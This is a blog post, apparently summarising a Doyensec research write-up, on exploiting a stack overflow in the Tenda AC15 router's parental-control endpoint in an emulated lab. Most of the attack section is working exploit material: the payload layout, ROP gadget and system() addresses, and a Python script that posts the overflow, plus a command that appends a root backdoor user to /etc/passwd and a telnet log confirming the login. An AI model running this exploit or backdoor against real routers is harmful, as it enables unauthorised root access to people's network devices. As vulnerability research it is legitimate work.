从漏洞分析到漏洞利用:实战Tenda AC15路由器栈溢出攻击

本文详细记录了Doyensec安全团队对Tenda AC15路由器中CVE-2020-13393漏洞的完整攻击过程,涵盖了环境搭建、二进制分析、ROP链构建,最终实现通过栈溢出漏洞添加后门用户。

漏洞背景

Doyensec安全团队在一次公司活动中,选择了Tenda AC15路由器中的缓冲区溢出漏洞作为挑战目标。该漏洞被标识为CVE-2024-2850(在分析过程中发现实为CVE-2020-13393),最初描述为/goform/saveParentControlInfo端点urls参数的堆溢出。然而,初步分析揭示了文档中的矛盾之处:截图显示数据被复制到malloc分配的堆缓冲区,但文本描述为栈溢出;概念验证(PoC)中使用的参数名称为u而非描述的urls

环境搭建

由于活动期间网络连接不稳定,团队选择使用EMUX项目来模拟漏洞环境。EMUX是一个基于Docker和QEMU的漏洞利用练习框架,已预置了包括Tenda AC15在内的多个易受攻击的ARM/MIPS固件,并集成了GDB等工具,极大简化了环境配置。

登录路由器管理界面(127.0.0.1:20080,密码ringzer0)后,确认漏洞触发点位于“家长控制”功能。通过Burp Suite捕获到如下请求:

1
2
3
4
5
POST /goform/saveParentControlInfo HTTP/1.1
Host: 127.0.0.1:20080
Content-Length: 154
...
deviceId=de:ad:be:ef:13:37&deviceName=test&enable=1&time=19:00-21:00&url_enable=1&urls=google.com&day=1,1,1,1,1,1,1&limit_type=0

漏洞定位与分析

通过进程列表和网络连接分析,确认HTTP服务由httpd进程(PID 7382)提供。使用EMUX内置的emuxgdb命令附加调试器。

检查httpd二进制文件的安全属性:

1
2
3
4
5
6
[*] 'httpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

关键发现:

  • NX(不可执行)是唯一启用的防护措施
  • 无栈保护(canary)
  • 无地址空间布局随机化(ASLR)——通过/proc/sys/kernel/randomize_va_space确认

使用Ghidra对saveParentControlInfo函数进行反编译分析,发现漏洞实际位于time参数的处理代码段:

1
2
3
4
char time_to[32];
char time_from[32];
...
sscanf(time_param, "%[^-]-%s", time_from, time_to);

time_from缓冲区位于栈上,大小为32字节,但sscanf%[^-]格式说明符会持续读取输入直到遇到连字符(-)或空字节,存在明显的栈溢出风险。

漏洞利用开发

1. 控制程序计数器 初始PoC使用大量A字符填充time参数,导致在strcpy调用时因覆盖了其他参数指针而提前崩溃。解决方案是使用有效的指针(指向栈上time_to字符串的地址0xbefff510)填充被覆盖的区域,确保程序能执行到返回指令。

1
2
3
4
timeto_addr = p32(0xbefff510)
payload = b"A"*880
payload += timeto_addr * 17
payload += b"BBBB"

成功覆盖返回地址后,程序计数器(pc)指向0x42424242BBBB),证明获得了代码执行控制权。

2. 构建ROP链 目标是执行system()函数运行任意命令。ARM架构下,函数参数通过寄存器传递(r0存放命令字符串指针)。需要解决两个问题:

  • 将命令字符串地址加载到r0
  • 跳转到system()函数地址

使用ropper工具在libc.so中找到了无空字节地址的pop {r0, pc} gadget(0x4023fb80),可一次性完成两个任务。

3. 命令执行 选择通过添加后门用户到/etc/passwd文件来建立持久化访问:

1
echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd

最终利用负载结构:

1
2
3
4
5
6
payload = b"A"*880                    # 填充数据
payload += timeto_addr * 17           # 覆盖字符串指针,避免提前崩溃
payload += pop_r0_pc                  # gadget地址:pop {r0, pc}
payload += cmd_str_addr               # 命令字符串地址(加载到r0)
payload += system_addr                # system()函数地址(加载到pc)
payload += cmd.encode()               # 命令字符串本身

4. 完整利用脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python3
import requests, struct

def exploit(target: str):
    payload = b"A"*880 + p32(0xbefff510)*17
    payload += p32(0x4023fb80)        # pop {r0, pc}
    payload += p32(0xbefff8e0)        # 命令字符串地址
    payload += p32(0x4025c270)        # __libc_system地址
    payload += b"echo 'backdoor:...' >> /etc/passwd"
    
    requests.post(f"http://{target}/goform/saveParentControlInfo",
        data={"deviceId":"00:00:00:00:00:02", "time": payload + b"-1", ...})

利用CVE-2021-44971认证绕过漏洞,无需有效会话即可发送恶意请求。

攻击验证

执行利用脚本后,成功在目标系统添加后门用户:

1
2
3
4
5
6
$ telnet 127.0.0.1 20023
Tenda login: backdoor
Password:
~ # cat /etc/passwd
...
backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh

总结与启示

本次漏洞利用过程揭示了多个关键点:

  1. 文档准确性:原始漏洞公告存在不准确信息,实际漏洞位置与描述不符
  2. 工具链选择:EMUX等集成化工具极大加速了IoT漏洞研究环境搭建
  3. 架构特性:ARM架构的pop {r0, pc} gadget简化了ROP链构建
  4. 防护绕过:结合认证绕过漏洞(CVE-2021-44971)实现了无需凭证的远程攻击

尽管CVE-2020-13393已有公开记录,但本次开发的PoC可能是首个针对该特定端点的完整利用。这项工作不仅提供了具体的ARM架构利用技术细节,也展示了从漏洞分析到武器化利用的完整方法论。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计